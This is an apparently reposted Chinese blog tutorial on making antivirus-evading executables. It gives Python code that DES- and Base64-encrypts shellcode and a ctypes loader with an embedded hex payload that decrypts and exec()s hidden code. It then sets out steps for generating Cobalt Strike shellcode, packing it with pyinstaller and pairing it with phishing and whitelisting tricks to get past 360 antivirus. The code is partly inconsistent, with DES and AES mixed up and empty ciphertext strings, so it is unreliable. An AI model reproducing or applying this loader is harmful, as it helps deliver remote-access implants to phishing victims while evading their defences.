栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

免杀exe技术探讨

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

免杀exe技术探讨

前言:

本文章仅用于渗透交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任

最近把大部分的语言的捣鼓分析了下
c的python的 rust的 go的常见的语言市面上有的都研究了下也写了一下自己的 发觉python的确实可以说是最简单的了,不过其实深入免杀的话 还是得进程注入走ring0层去对抗杀软,不然单纯的静态过了 终究有些行为还是会呗动态杀
这篇分享一篇python的吧 效果看正文 全过的也有 不过现在肯定是不会发的

正文:

最开始的

更改后的
原理:核心还是对shellcode和loader进行加密处理 当然分离肯定也是可以的不过为了防止溯源我觉得这种其实也还行
DES+Base64
shellcode加密

import binascii 
from pyDes import des, CBC, PAD_PKCS5 
# 需要安装 pip install pyDes 
 
def des_encrypt(secret_key, s): 
    iv = secret_key 
    k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5) 
    en = k.encrypt(s, padmode=PAD_PKCS5) 
    return binascii.b2a_hex(en) 
 
def des_decrypt(secret_key, s): 
    iv = secret_key 
    k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5) 
    de = k.decrypt(binascii.a2b_hex(s), padmode=PAD_PKCS5) 
    return de 
 
secret_str = des_encrypt('12345678', 'I love YOU~') 
print(secret_str) 
clear_str = des_decrypt('12345678', secret_str) 
print(clear_str) 

加载器loader

# -*- coding:utf-8 -*-
import ctypes
import base64
import binascii 
from pyDes import des, CBC, PAD_PKCS5 

def des_decrypt(secret_key, s): 
    iv = secret_key 
    k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5) 
    de = k.decrypt(binascii.a2b_hex(s), padmode=PAD_PKCS5) 
    return de
    
if __name__ == '__main__':
    shell_code =des_decrypt('12345678','') 
    shell_code=str(shell_code,encoding='utf-8')
    shellcode1=base64.b64decode(shell_code)
    shellcode=shellcode1.decode().replace('&','c4d8686d9fcabdc94c0fc30b4dfe35c96c70ec9c5bbe538f268cc9c826e27dea25de33d121bf553843593aac8ef0f08b50d70de08efa8c21448256e8e1297726919f6ad3a85a046a7517fc95399626c78a5c2d78b901bf396f348eda70e532e42ec9bfb8e5f13456e745614483a737ab16776061538df48eb82a54c5f9112b76b88b67bf2d960f29ae39cf5a62bc59520d5e364447dd29aa5d8484cc3a102bf4ee3ff2e8375756615e385d5b29113e4e8a5e3d2cd66dfc67a4deb0e38d5908cd498435484b09a0eafbafb8165352fa6bfa4b8fd58ef932c0c7777842b641fc05071302ba1172c6a427f78038cb3eec555a75ecc3c46699edbd0b27466ffd5590eef70d079046b72a6ba260b173d63efd2e12f3691f27061c4942a722b019c44634b93c296611c7ddf1ffabee8daa8d50500ba19ec05aa9ce2b703ec1eecde089142c4022489adc4c816480ac57ebc4b26178ea75d47a48a99ac1b7dc4b9553a47aeff63e9e7fc20be4a785ecaba59a57ea9316b32023bb512464eca5400ed0d0f5822052d263226bdf703bd5422bf914d6770751c6af62c3ee69d02deea7e0caa50f28a0ec6d840df7be10b2c70ab6b29ad40b660478dddbf0c3f453b755a510dc56772c9dccfb6a3a7abf183ec41d389045b260b9bc619c626b6dcdeb388b23d1cf372e3c7262c1d1688820d9738296536e0ea46d38d6979b250661a572335abfd79a23c86b250510f2c8a82660bfa47f855ec0a3c8c809598314acb06fdc6870a7cbfd38fd64023b374b750f1b7888d632b9cfa2b577718931254bd63fa1d7f0de341b02e631fc871b202e2fb426b0d7716ace7bdd44bc6b7753102e379188dabae27534fe37312f765b6895a03146b01320e30cd2ae62e9330d6312da137fc34ee2210f8dadbcd7b20e9de224d6511f726906a8e28c2b05b6154f44c3d918')
    shellcode = bytes.fromhex(str(shellcode))
    loader =des_decrypt('12345678','')     
    loader=str(loader,encoding='utf-8')
    loader1=base64.b64decode(loader)
    loader2=loader1.decode().replace('&','')
    exec(loader2)

vt的过不全

使用方法
1.cs去整个shellcode下来

2.处理生成的shellcode
将x替换为空

得到如下

3.把上面的拿去进行base64加密

4.把得到的base64进行aes加密得到aes加密的

5.把这个数字扔进loader里面去

6.进行编译为exe
pyinstaller -F cs.py
点击上线即可 组合钓鱼的手法就可以很完美了

命令执行一样的

当然高危动作肯定被360杀这是这种免杀的特点 想绕的话使用专门的白名单和相应的手法去执行就好了

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1018847.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号